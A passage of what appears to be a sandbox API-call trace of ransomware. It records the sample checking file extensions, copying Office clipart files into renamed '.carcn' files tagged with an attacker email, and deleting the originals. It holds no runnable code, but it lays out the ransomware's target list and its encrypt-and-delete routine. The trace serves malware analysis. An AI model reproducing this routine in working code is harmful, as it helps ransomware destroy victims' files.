[0301.321] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68 [0301.321] lstrlenW (lpString=".zip") returned 4 [0301.322] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.322] lstrlenW (lpString=".rar") returned 4 [0301.322] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.322] lstrlenW (lpString=".bz2") returned 4 [0301.322] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.322] lstrlenW (lpString=".7z") returned 3 [0301.322] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68 [0301.322] lstrlenW (lpString=".dbf") returned 4 [0301.322] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68 [0301.322] lstrlenW (lpString=".1cd") returned 4 [0301.322] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68 [0301.322] lstrlenW (lpString=".jpg") returned 4 [0301.322] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68 [0301.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68 [0301.322] lstrlenW (lpString=".doc") returned 4 [0301.322] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.323] lstrlenW (lpString=".docx") returned 5 [0301.323] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.323] lstrlenW (lpString=".pdf") returned 4 [0301.323] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.323] lstrlenW (lpString=".xls") returned 4 [0301.323] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.323] lstrlenW (lpString=".xlsx") returned 5 [0301.323] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.323] lstrlenW (lpString=".ppt") returned 4 [0301.323] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68 [0301.323] lstrlenW (lpString=".zip") returned 4 [0301.323] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.323] lstrlenW (lpString=".rar") returned 4 [0301.323] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.323] lstrlenW (lpString=".bz2") returned 4 [0301.323] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.323] lstrlenW (lpString=".7z") returned 3 [0301.323] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68 [0301.323] lstrlenW (lpString=".dbf") returned 4 [0301.323] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68 [0301.323] lstrlenW (lpString=".1cd") returned 4 [0301.323] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68 [0301.323] lstrlenW (lpString=".jpg") returned 4 [0301.323] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.324] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0301.324] lstrlenW (lpString="DD01631_.WMF") returned 12 [0301.324] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01631_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0301.324] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2ebff14 | out: lpFileSize=0x2ebff14*=552) returned 1 [0301.324] CloseHandle (hObject=0x358) returned 1 [0301.324] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01631_.wmf")) returned 0x220 [0301.324] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01631_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0301.324] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01631_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0301.325] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0301.325] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0301.325] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01631_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0301.325] GetLastError () returned 0x0 [0301.325] ReadFile (in: hFile=0x358, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x228, lpOverlapped=0x0) returned 1 [0301.326] WriteFile (in: hFile=0x370, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x230, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x230, lpOverlapped=0x0) returned 1 [0301.327] ReadFile (in: hFile=0x358, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0301.327] WriteFile (in: hFile=0x370, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0301.328] SetEndOfFile (hFile=0x370) returned 1 [0301.331] CloseHandle (hObject=0x370) returned 1 [0301.331] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0301.331] SetEndOfFile (hFile=0x358) returned 1 [0301.332] CloseHandle (hObject=0x358) returned 1 [0301.332] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0301.333] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01631_.wmf")) returned 1 [0301.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68 [0301.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68 [0301.333] lstrlenW (lpString=".doc") returned 4 [0301.333] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.333] lstrlenW (lpString=".docx") returned 5 [0301.333] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.333] lstrlenW (lpString=".pdf") returned 4 [0301.333] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.333] lstrlenW (lpString=".xls") returned 4 [0301.333] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.333] lstrlenW (lpString=".xlsx") returned 5 [0301.334] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.334] lstrlenW (lpString=".ppt") returned 4 [0301.334] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68 [0301.334] lstrlenW (lpString=".zip") returned 4 [0301.334] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.334] lstrlenW (lpString=".rar") returned 4 [0301.334] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.334] lstrlenW (lpString=".bz2") returned 4 [0301.334] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.334] lstrlenW (lpString=".7z") returned 3 [0301.334] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68 [0301.334] lstrlenW (lpString=".dbf") returned 4 [0301.334] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68 [0301.334] lstrlenW (lpString=".1cd") returned 4 [0301.334] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68 [0301.334] lstrlenW (lpString=".jpg") returned 4 [0301.334] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68 [0301.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68 [0301.334] lstrlenW (lpString=".doc") returned 4 [0301.334] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.334] lstrlenW (lpString=".docx") returned 5 [0301.334] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.334] lstrlenW (lpString=".pdf") returned 4 [0301.335] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.335] lstrlenW (lpString=".xls") returned 4 [0301.335] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.335] lstrlenW (lpString=".xlsx") returned 5 [0301.335] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.335] lstrlenW (lpString=".ppt") returned 4 [0301.335] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68 [0301.335] lstrlenW (lpString=".zip") returned 4 [0301.335] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.335] lstrlenW (lpString=".rar") returned 4 [0301.335] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.335] lstrlenW (lpString=".bz2") returned 4 [0301.335] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.335] lstrlenW (lpString=".7z") returned 3 [0301.335] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68 [0301.335] lstrlenW (lpString=".dbf") returned 4 [0301.335] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68 [0301.335] lstrlenW (lpString=".1cd") returned 4 [0301.335] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68 [0301.335] lstrlenW (lpString=".jpg") returned 4 [0301.335] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.336] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0301.336] lstrlenW (lpString="DD01761_.WMF") returned 12 [0301.336] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01761_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0301.336] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2ebff14 | out: lpFileSize=0x2ebff14*=4148) returned 1 [0301.336] CloseHandle (hObject=0x358) returned 1 [0301.336] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01761_.wmf")) returned 0x220 [0301.336] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01761_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0301.336] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01761_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0301.336] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0301.336] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0301.337] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01761_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0301.337] GetLastError () returned 0x0 [0301.337] ReadFile (in: hFile=0x358, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x1034, lpOverlapped=0x0) returned 1 [0301.338] WriteFile (in: hFile=0x370, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x1040, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x1040, lpOverlapped=0x0) returned 1 [0301.339] ReadFile (in: hFile=0x358, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0301.339] WriteFile (in: hFile=0x370, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0301.339] SetEndOfFile (hFile=0x370) returned 1 [0301.340] CloseHandle (hObject=0x370) returned 1 [0301.340] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0301.340] SetEndOfFile (hFile=0x358) returned 1 [0301.341] CloseHandle (hObject=0x358) returned 1 [0301.341] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0301.341] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01761_.wmf")) returned 1 [0301.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68 [0301.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68 [0301.342] lstrlenW (lpString=".doc") returned 4 [0301.342] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.342] lstrlenW (lpString=".docx") returned 5 [0301.342] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.342] lstrlenW (lpString=".pdf") returned 4 [0301.342] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.342] lstrlenW (lpString=".xls") returned 4 [0301.342] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.342] lstrlenW (lpString=".xlsx") returned 5 [0301.342] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.342] lstrlenW (lpString=".ppt") returned 4 [0301.342] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68 [0301.342] lstrlenW (lpString=".zip") returned 4 [0301.342] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.342] lstrlenW (lpString=".rar") returned 4 [0301.342] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.342] lstrlenW (lpString=".bz2") returned 4 [0301.342] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.342] lstrlenW (lpString=".7z") returned 3 [0301.342] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68 [0301.342] lstrlenW (lpString=".dbf") returned 4 [0301.342] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68 [0301.342] lstrlenW (lpString=".1cd") returned 4 [0301.343] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68 [0301.343] lstrlenW (lpString=".jpg") returned 4 [0301.343] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68 [0301.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68 [0301.343] lstrlenW (lpString=".doc") returned 4 [0301.343] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.343] lstrlenW (lpString=".docx") returned 5 [0301.343] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.343] lstrlenW (lpString=".pdf") returned 4 [0301.343] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.343] lstrlenW (lpString=".xls") returned 4 [0301.343] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.343] lstrlenW (lpString=".xlsx") returned 5 [0301.343] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.343] lstrlenW (lpString=".ppt") returned 4 [0301.343] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68 [0301.343] lstrlenW (lpString=".zip") returned 4 [0301.343] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.343] lstrlenW (lpString=".rar") returned 4 [0301.343] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.343] lstrlenW (lpString=".bz2") returned 4 [0301.343] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.343] lstrlenW (lpString=".7z") returned 3 [0301.343] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68 [0301.344] lstrlenW (lpString=".dbf") returned 4 [0301.344] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68 [0301.344] lstrlenW (lpString=".1cd") returned 4 [0301.344] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68 [0301.344] lstrlenW (lpString=".jpg") returned 4 [0301.344] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.344] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0301.344] lstrlenW (lpString="DD01772_.WMF") returned 12 [0301.344] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01772_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0301.344] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2ebff14 | out: lpFileSize=0x2ebff14*=2300) returned 1 [0301.344] CloseHandle (hObject=0x358) returned 1 [0301.344] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01772_.wmf")) returned 0x220 [0301.345] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01772_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0301.345] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01772_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0301.345] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0301.345] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0301.345] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01772_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0301.346] GetLastError () returned 0x0 [0301.346] ReadFile (in: hFile=0x358, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x8fc, lpOverlapped=0x0) returned 1 [0301.346] WriteFile (in: hFile=0x370, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x900, lpOverlapped=0x0) returned 1 [0301.347] ReadFile (in: hFile=0x358, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0301.348] WriteFile (in: hFile=0x370, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0301.348] SetEndOfFile (hFile=0x370) returned 1 [0301.348] CloseHandle (hObject=0x370) returned 1 [0301.348] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0301.348] SetEndOfFile (hFile=0x358) returned 1 [0301.349] CloseHandle (hObject=0x358) returned 1 [0301.349] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0301.349] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01772_.wmf")) returned 1 [0301.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68 [0301.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68 [0301.350] lstrlenW (lpString=".doc") returned 4 [0301.350] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.350] lstrlenW (lpString=".docx") returned 5 [0301.350] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.350] lstrlenW (lpString=".pdf") returned 4 [0301.350] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.350] lstrlenW (lpString=".xls") returned 4 [0301.350] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.350] lstrlenW (lpString=".xlsx") returned 5 [0301.350] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.350] lstrlenW (lpString=".ppt") returned 4 [0301.350] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68 [0301.350] lstrlenW (lpString=".zip") returned 4 [0301.350] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.350] lstrlenW (lpString=".rar") returned 4 